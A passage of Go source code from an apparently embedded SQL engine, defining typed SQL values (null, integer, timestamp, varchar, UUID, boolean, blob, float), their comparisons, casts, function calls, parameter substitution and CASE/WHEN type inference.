{\n\t\tmaxRange, err := maxSemiRange(r.lRange, refiningRange.lRange)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.lRange = maxRange\n\t}\n\n\tif r.hRange == nil {\n\t\tr.hRange = refiningRange.hRange\n\t} else if r.hRange != nil && refiningRange.hRange != nil {\n\t\tminRange, err := minSemiRange(r.hRange, refiningRange.hRange)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.hRange = minRange\n\t}\n\n\treturn nil\n}\n\nfunc (r *typedValueRange) extendWith(extendingRange *typedValueRange) error {\n\tif r.lRange == nil || extendingRange.lRange == nil {\n\t\tr.lRange = nil\n\t} else {\n\t\tminRange, err := minSemiRange(r.lRange, extendingRange.lRange)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.lRange = minRange\n\t}\n\n\tif r.hRange == nil || extendingRange.hRange == nil {\n\t\tr.hRange = nil\n\t} else {\n\t\tmaxRange, err := maxSemiRange(r.hRange, extendingRange.hRange)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.hRange = maxRange\n\t}\n\n\treturn nil\n}\n\nfunc maxSemiRange(or1, or2 *typedValueSemiRange) (*typedValueSemiRange, error) {\n\tr, err := or1.val.Compare(or2.val)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmaxVal := or1.val\n\tif r < 0 {\n\t\tmaxVal = or2.val\n\t}\n\n\treturn &typedValueSemiRange{\n\t\tval:       maxVal,\n\t\tinclusive: or1.inclusive && or2.inclusive,\n\t}, nil\n}\n\nfunc minSemiRange(or1, or2 *typedValueSemiRange) (*typedValueSemiRange, error) {\n\tr, err := or1.val.Compare(or2.val)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tminVal := or1.val\n\tif r > 0 {\n\t\tminVal = or2.val\n\t}\n\n\treturn &typedValueSemiRange{\n\t\tval:       minVal,\n\t\tinclusive: or1.inclusive || or2.inclusive,\n\t}, nil\n}\n\ntype TypedValue interface {\n\tValueExp\n\tType() SQLValueType\n\tRawValue() interface{}\n\tCompare(val TypedValue) (int, error)\n\tIsNull() bool\n}\n\ntype Tuple []TypedValue\n\nfunc (t Tuple) Compare(other Tuple) (int, int, error) {\n\tif len(t) != len(other) {\n\t\treturn -1, -1, ErrNotComparableValues\n\t}\n\n\tfor i := range t {\n\t\tres, err := t[i].Compare(other[i])\n\t\tif err != nil || res != 0 {\n\t\t\treturn res, i, err\n\t\t}\n\t}\n\treturn 0, -1, nil\n}\n\nfunc NewNull(t SQLValueType) *NullValue {\n\treturn &NullValue{t: t}\n}\n\ntype NullValue struct {\n\tt SQLValueType\n}\n\nfunc (n *NullValue) Type() SQLValueType {\n\treturn n.t\n}\n\nfunc (n *NullValue) RawValue() interface{} {\n\treturn nil\n}\n\nfunc (n *NullValue) IsNull() bool {\n\treturn true\n}\n\nfunc (n *NullValue) String() string {\n\treturn \"NULL\"\n}\n\nfunc (n *NullValue) Compare(val TypedValue) (int, error) {\n\tif n.t != AnyType && val.Type() != AnyType && n.t != val.Type() {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\tif val.RawValue() == nil {\n\t\treturn 0, nil\n\t}\n\treturn -1, nil\n}\n\nfunc (v *NullValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn v.t, nil\n}\n\nfunc (v *NullValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif v.t == t {\n\t\treturn nil\n\t}\n\n\tif v.t != AnyType {\n\t\treturn ErrInvalidTypes\n\t}\n\n\tv.t = t\n\n\treturn nil\n}\n\nfunc (v *NullValue) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *NullValue) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *NullValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *NullValue) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *NullValue) isConstant() bool {\n\treturn true\n}\n\nfunc (v *NullValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\ntype Integer struct {\n\tval int64\n}\n\nfunc NewInteger(val int64) *Integer {\n\treturn &Integer{val: val}\n}\n\nfunc (v *Integer) Type() SQLValueType {\n\treturn IntegerType\n}\n\nfunc (v *Integer) IsNull() bool {\n\treturn false\n}\n\nfunc (v *Integer) String() string {\n\treturn strconv.FormatInt(v.val, 10)\n}\n\nfunc (v *Integer) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn IntegerType, nil\n}\n\nfunc (v *Integer) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType && t != JSONType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, t)\n\t}\n\treturn nil\n}\n\nfunc (v *Integer) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *Integer) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *Integer) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *Integer) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *Integer) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Integer) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Integer) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *Integer) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn 1, nil\n\t}\n\n\tif val.Type() == JSONType {\n\t\tres, err := val.Compare(v)\n\t\treturn -res, err\n\t}\n\n\tif val.Type() == Float64Type {\n\t\tr, err := val.Compare(v)\n\t\treturn r * -1, err\n\t}\n\n\tif val.Type() != IntegerType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\trval := val.RawValue().(int64)\n\n\tif v.val == rval {\n\t\treturn 0, nil\n\t}\n\n\tif v.val > rval {\n\t\treturn 1, nil\n\t}\n\n\treturn -1, nil\n}\n\ntype Timestamp struct {\n\tval time.Time\n}\n\nfunc (v *Timestamp) Type() SQLValueType {\n\treturn TimestampType\n}\n\nfunc (v *Timestamp) IsNull() bool {\n\treturn false\n}\n\nfunc (v *Timestamp) String() string {\n\treturn v.val.Format(\"2006-01-02 15:04:05.999999\")\n}\n\nfunc (v *Timestamp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn TimestampType, nil\n}\n\nfunc (v *Timestamp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != TimestampType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, TimestampType, t)\n\t}\n\n\treturn nil\n}\n\nfunc (v *Timestamp) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *Timestamp) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *Timestamp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *Timestamp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *Timestamp) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Timestamp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Timestamp) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *Timestamp) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn 1, nil\n\t}\n\n\tif val.Type() != TimestampType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\trval := val.RawValue().(time.Time)\n\n\tif v.val.Before(rval) {\n\t\treturn -1, nil\n\t}\n\n\tif v.val.After(rval) {\n\t\treturn 1, nil\n\t}\n\n\treturn 0, nil\n}\n\ntype Varchar struct {\n\tval string\n}\n\nfunc NewVarchar(val string) *Varchar {\n\treturn &Varchar{val: val}\n}\n\nfunc (v *Varchar) Type() SQLValueType {\n\treturn VarcharType\n}\n\nfunc (v *Varchar) IsNull() bool {\n\treturn false\n}\n\nfunc (v *Varchar) String() string {\n\treturn fmt.Sprintf(\"'%s'\", v.val)\n}\n\nfunc (v *Varchar) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (v *Varchar) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType && t != JSONType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (v *Varchar) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *Varchar) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *Varchar) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *Varchar) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *Varchar) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Varchar) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Varchar) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *Varchar) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn 1, nil\n\t}\n\n\tif val.Type() == JSONType {\n\t\tres, err := val.Compare(v)\n\t\treturn -res, err\n\t}\n\n\tif val.Type() != VarcharType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\trval := val.RawValue().(string)\n\n\treturn bytes.Compare([]byte(v.val), []byte(rval)), nil\n}\n\ntype UUID struct {\n\tval uuid.UUID\n}\n\nfunc NewUUID(val uuid.UUID) *UUID {\n\treturn &UUID{val: val}\n}\n\nfunc (v *UUID) Type() SQLValueType {\n\treturn UUIDType\n}\n\nfunc (v *UUID) IsNull() bool {\n\treturn false\n}\n\nfunc (v *UUID) String() string {\n\treturn v.val.String()\n}\n\nfunc (v *UUID) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn UUIDType, nil\n}\n\nfunc (v *UUID) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != UUIDType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, UUIDType, t)\n\t}\n\n\treturn nil\n}\n\nfunc (v *UUID) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *UUID) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *UUID) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *UUID) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *UUID) isConstant() bool {\n\treturn true\n}\n\nfunc (v *UUID) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *UUID) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *UUID) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn 1, nil\n\t}\n\n\tif val.Type() != UUIDType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\trval := val.RawValue().(uuid.UUID)\n\n\treturn bytes.Compare(v.val[:], rval[:]), nil\n}\n\ntype Bool struct {\n\tval bool\n}\n\nfunc NewBool(val bool) *Bool {\n\treturn &Bool{val: val}\n}\n\nfunc (v *Bool) Type() SQLValueType {\n\treturn BooleanType\n}\n\nfunc (v *Bool) IsNull() bool {\n\treturn false\n}\n\nfunc (v *Bool) String() string {\n\treturn strconv.FormatBool(v.val)\n}\n\nfunc (v *Bool) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn BooleanType, nil\n}\n\nfunc (v *Bool) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != BooleanType && t != JSONType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BooleanType, t)\n\t}\n\treturn nil\n}\n\nfunc (v *Bool) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *Bool) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *Bool) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *Bool) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *Bool) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Bool) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Bool) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *Bool) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn 1, nil\n\t}\n\n\tif val.Type() == JSONType {\n\t\tres, err := val.Compare(v)\n\t\treturn -res, err\n\t}\n\n\tif val.Type() != BooleanType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\trval := val.RawValue().(bool)\n\n\tif v.val == rval {\n\t\treturn 0, nil\n\t}\n\n\tif v.val {\n\t\treturn 1, nil\n\t}\n\n\treturn -1, nil\n}\n\ntype Blob struct {\n\tval []byte\n}\n\nfunc NewBlob(val []byte) *Blob {\n\treturn &Blob{val: val}\n}\n\nfunc (v *Blob) Type() SQLValueType {\n\treturn BLOBType\n}\n\nfunc (v *Blob) IsNull() bool {\n\treturn false\n}\n\nfunc (v *Blob) String() string {\n\treturn hex.EncodeToString(v.val)\n}\n\nfunc (v *Blob) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn BLOBType, nil\n}\n\nfunc (v *Blob) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != BLOBType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, BLOBType, t)\n\t}\n\n\treturn nil\n}\n\nfunc (v *Blob) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *Blob) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *Blob) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *Blob) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *Blob) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Blob) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Blob) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *Blob) Compare(val TypedValue) (int, error) {\n\tif val.IsNull() {\n\t\treturn 1, nil\n\t}\n\n\tif val.Type() != BLOBType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\trval := val.RawValue().([]byte)\n\n\treturn bytes.Compare(v.val, rval), nil\n}\n\ntype Float64 struct {\n\tval float64\n}\n\nfunc NewFloat64(val float64) *Float64 {\n\treturn &Float64{val: val}\n}\n\nfunc (v *Float64) Type() SQLValueType {\n\treturn Float64Type\n}\n\nfunc (v *Float64) IsNull() bool {\n\treturn false\n}\n\nfunc (v *Float64) String() string {\n\treturn strconv.FormatFloat(float64(v.val), 'f', -1, 64)\n}\n\nfunc (v *Float64) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn Float64Type, nil\n}\n\nfunc (v *Float64) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != Float64Type && t != JSONType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, Float64Type, t)\n\t}\n\treturn nil\n}\n\nfunc (v *Float64) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *Float64) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn v, nil\n}\n\nfunc (v *Float64) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn v, nil\n}\n\nfunc (v *Float64) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *Float64) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Float64) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Float64) RawValue() interface{} {\n\treturn v.val\n}\n\nfunc (v *Float64) Compare(val TypedValue) (int, error) {\n\tif val.Type() == JSONType {\n\t\tres, err := val.Compare(v)\n\t\treturn -res, err\n\t}\n\n\tconvVal, err := mayApplyImplicitConversion(val.RawValue(), Float64Type)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif convVal == nil {\n\t\treturn 1, nil\n\t}\n\n\trval, ok := convVal.(float64)\n\tif !ok {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\tif v.val == rval {\n\t\treturn 0, nil\n\t}\n\n\tif v.val > rval {\n\t\treturn 1, nil\n\t}\n\n\treturn -1, nil\n}\n\ntype FnCall struct {\n\tfn     string\n\tparams []ValueExp\n}\n\nfunc (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tfn, err := v.resolveFunc()\n\tif err != nil {\n\t\treturn AnyType, nil\n\t}\n\treturn fn.InferType(cols, params, implicitTable)\n}\n\nfunc (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tfn, err := v.resolveFunc()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn fn.RequiresType(t, cols, params, implicitTable)\n}\n\nfunc (v *FnCall) selectors() []Selector {\n\tselectors := make([]Selector, 0)\n\tfor _, param := range v.params {\n\t\tselectors = append(selectors, param.selectors()...)\n\t}\n\treturn selectors\n}\n\nfunc (v *FnCall) substitute(params map[string]interface{}) (val ValueExp, err error) {\n\tps := make([]ValueExp, len(v.params))\n\tfor i, p := range v.params {\n\t\tps[i], err = p.substitute(params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn &FnCall{\n\t\tfn:     v.fn,\n\t\tparams: ps,\n\t}, nil\n}\n\nfunc (v *FnCall) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tfn, err := v.resolveFunc()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfnInputs, err := v.reduceParams(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn fn.Apply(tx, fnInputs)\n}\n\nfunc (v *FnCall) reduceParams(tx *SQLTx, row *Row, implicitTable string) ([]TypedValue, error) {\n\tvar values []TypedValue\n\tif len(v.params) > 0 {\n\t\tvalues = make([]TypedValue, len(v.params))\n\t\tfor i, p := range v.params {\n\t\t\tv, err := p.reduce(tx, row, implicitTable)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tvalues[i] = v\n\t\t}\n\t}\n\treturn values, nil\n}\n\nfunc (v *FnCall) resolveFunc() (Function, error) {\n\tfn, exists := builtinFunctions[strings.ToUpper(v.fn)]\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"%w: unknown function %s\", ErrIllegalArguments, v.fn)\n\t}\n\treturn fn, nil\n}\n\nfunc (v *FnCall) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *FnCall) isConstant() bool {\n\treturn false\n}\n\nfunc (v *FnCall) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *FnCall) String() string {\n\tparams := make([]string, len(v.params))\n\tfor i, p := range v.params {\n\t\tparams[i] = p.String()\n\t}\n\treturn v.fn + \"(\" + strings.Join(params, \",\") + \")\"\n}\n\ntype Cast struct {\n\tval ValueExp\n\tt   SQLValueType\n}\n\nfunc (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\t_, err := c.val.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, err\n\t}\n\n\t// val type may be restricted by compatible conversions, but multiple types may be compatible...\n\n\treturn c.t, nil\n}\n\nfunc (c *Cast) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif c.t != t {\n\t\treturn fmt.Errorf(\"%w: can not use value cast to %s as %s\", ErrInvalidTypes, c.t, t)\n\t}\n\n\treturn nil\n}\n\nfunc (c *Cast) substitute(params map[string]interface{}) (ValueExp, error) {\n\tval, err := c.val.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc.val = val\n\treturn c, nil\n}\n\nfunc (c *Cast) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tval, err := c.val.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconv, err := getConverter(val.Type(), c.t)\n\tif conv == nil {\n\t\treturn nil, err\n\t}\n\n\treturn conv(val)\n}\n\nfunc (v *Cast) selectors() []Selector {\n\treturn v.val.selectors()\n}\n\nfunc (c *Cast) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn &Cast{\n\t\tval: c.val.reduceSelectors(row, implicitTable),\n\t\tt:   c.t,\n\t}\n}\n\nfunc (c *Cast) isConstant() bool {\n\treturn c.val.isConstant()\n}\n\nfunc (c *Cast) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (c *Cast) String() string {\n\treturn fmt.Sprintf(\"CAST (%s AS %s)\", c.val.String(), c.t)\n}\n\ntype Param struct {\n\tid  string\n\tpos int\n}\n\nfunc (v *Param) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tt, ok := params[v.id]\n\tif !ok {\n\t\tparams[v.id] = AnyType\n\t\treturn AnyType, nil\n\t}\n\n\treturn t, nil\n}\n\nfunc (v *Param) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tcurrT, ok := params[v.id]\n\tif ok && currT != t && currT != AnyType {\n\t\treturn ErrInferredMultipleTypes\n\t}\n\n\tparams[v.id] = t\n\n\treturn nil\n}\n\nfunc (p *Param) substitute(params map[string]interface{}) (ValueExp, error) {\n\tval, ok := params[p.id]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w(%s)\", ErrMissingParameter, p.id)\n\t}\n\n\tif val == nil {\n\t\treturn &NullValue{t: AnyType}, nil\n\t}\n\n\tswitch v := val.(type) {\n\tcase bool:\n\t\t{\n\t\t\treturn &Bool{val: v}, nil\n\t\t}\n\tcase string:\n\t\t{\n\t\t\treturn &Varchar{val: v}, nil\n\t\t}\n\tcase int:\n\t\t{\n\t\t\treturn &Integer{val: int64(v)}, nil\n\t\t}\n\tcase uint:\n\t\t{\n\t\t\treturn &Integer{val: int64(v)}, nil\n\t\t}\n\tcase uint64:\n\t\t{\n\t\t\treturn &Integer{val: int64(v)}, nil\n\t\t}\n\tcase int64:\n\t\t{\n\t\t\treturn &Integer{val: v}, nil\n\t\t}\n\tcase []byte:\n\t\t{\n\t\t\treturn &Blob{val: v}, nil\n\t\t}\n\tcase time.Time:\n\t\t{\n\t\t\treturn &Timestamp{val: v.Truncate(time.Microsecond).UTC()}, nil\n\t\t}\n\tcase float64:\n\t\t{\n\t\t\treturn &Float64{val: v}, nil\n\t\t}\n\t}\n\treturn nil, ErrUnsupportedParameter\n}\n\nfunc (p *Param) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (p *Param) selectors() []Selector {\n\treturn nil\n}\n\nfunc (p *Param) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn p\n}\n\nfunc (p *Param) isConstant() bool {\n\treturn true\n}\n\nfunc (v *Param) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (v *Param) String() string {\n\treturn \"@\" + v.id\n}\n\ntype whenThenClause struct {\n\twhen, then ValueExp\n}\n\ntype CaseWhenExp struct {\n\texp      ValueExp\n\twhenThen []whenThenClause\n\telseExp  ValueExp\n}\n\nfunc (ce *CaseWhenExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tcheckType := func(e ValueExp, expectedType SQLValueType) (string, error) {\n\t\tt, err := e.inferType(cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif expectedType == AnyType {\n\t\t\treturn t, nil\n\t\t}\n\n\t\tif t != expectedType {\n\t\t\tif (t == Float64Type && expectedType == IntegerType) ||\n\t\t\t\t(t == IntegerType && expectedType == Float64Type) {\n\t\t\t\treturn Float64Type, nil\n\t\t\t}\n\t\t\treturn \"\", fmt.Errorf(\"%w: CASE types %s and %s cannot be matched\", ErrInferredMultipleTypes, expectedType, t)\n\t\t}\n\t\treturn t, nil\n\t}\n\n\tsearchType := BooleanType\n\tinferredResType := AnyType\n\tif ce.exp != nil {\n\t\tt, err := ce.exp.inferType(cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tsearchType = t\n\t}\n\n\tfor _, e := range ce.whenThen {\n\t\twhenType, err := e.when.inferType(cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif whenType != searchType {\n\t\t\treturn \"\", fmt.Errorf(\"%w: argument of CASE/WHEN must be of type %s, not type %s\", ErrInvalidTypes, searchType, whenType)\n\t\t}\n\n\t\tt, err := checkType(e.then, inferredResType)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tinferredResType = t\n\t}\n\n\tif ce.elseExp != nil {\n\t\treturn checkType(ce.elseExp, inferredResType)\n\t}\n\treturn inferredResType, nil\n}\n\nfunc (ce *CaseWhenExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tinferredType, err := ce.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif inferredType != t {\n\t\treturn fmt.Errorf(\"%w: expected type %s but %s found instead\", ErrInvalidTypes, t, inferredType)\n\t}\n\treturn nil\n}\n\nfunc (ce *CaseWhenExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\tvar exp ValueExp\n\tif ce.exp != nil {\n\t\te, err := ce.exp.substitute(params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\texp = e\n\t}\n\n\twhenThen := make([]whenThenClause, len(ce.whenThen))\n\tfor i, wt := range ce.whenThen {\n\t\twhenValue, err := wt.when.substitute(params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\twhenThen[i].when = whenValue\n\n\t\tthenValue, err := wt.then.substitute(params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\twhenThen[i].then = thenValue\n\t}\n\n\tif ce.elseExp == nil {\n\t\treturn &CaseWhenExp{\n\t\t\texp:      exp,\n\t\t\twhenThen: whenThen,\n\t\t}, nil\n\t}\n\n\telseValue, err := ce.elseExp.substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &CaseWhenExp{\n\t\texp:      exp,\n\t\twhenThen: whenThen,\n\t\telseExp:  elseValue,\n\t}, nil\n}\n\nfunc (ce *CaseWhenExp) selectors() []Selector {\n\tselectors := make([]Selector, 0)\n\tif ce.exp != nil {\n\t\tselectors = append(selectors, ce.exp.selectors()...)\n\t}\n\n\tfor _, wh := range ce.whenThen {\n\t\tselectors = append(selectors, wh.when.selectors()...)\n\t\tselectors = append(selectors, wh.then.selectors()...)\n\t}\n\n\tif ce.elseExp == nil {\n\t\treturn selectors\n\t}\n\treturn append(selectors, ce.elseExp.selectors()...)\n}\n\nfunc (ce *CaseWhenExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tvar searchValue TypedValue\n\tif ce.exp != nil {\n\t\tv, err := ce.exp.reduce(tx, row, implicitTable)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tsearchValue = v\n\t} else {\n\t\tsearchValue = &Bool{val: true}\n\t}\n\n\tfor _, wt := range ce.whenThen {\n\t\tv, err := wt.when.reduce(tx, row, implicitTable)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif v.Type() != searchValue.Type() {\n\t\t\treturn nil, fmt.Errorf(\"%w: argument of CASE/WHEN must be type %s, not type %s\", ErrInvalidTypes, v.Type(), searchValue.Type())\n\t\t}\n\n\t\tres, err := 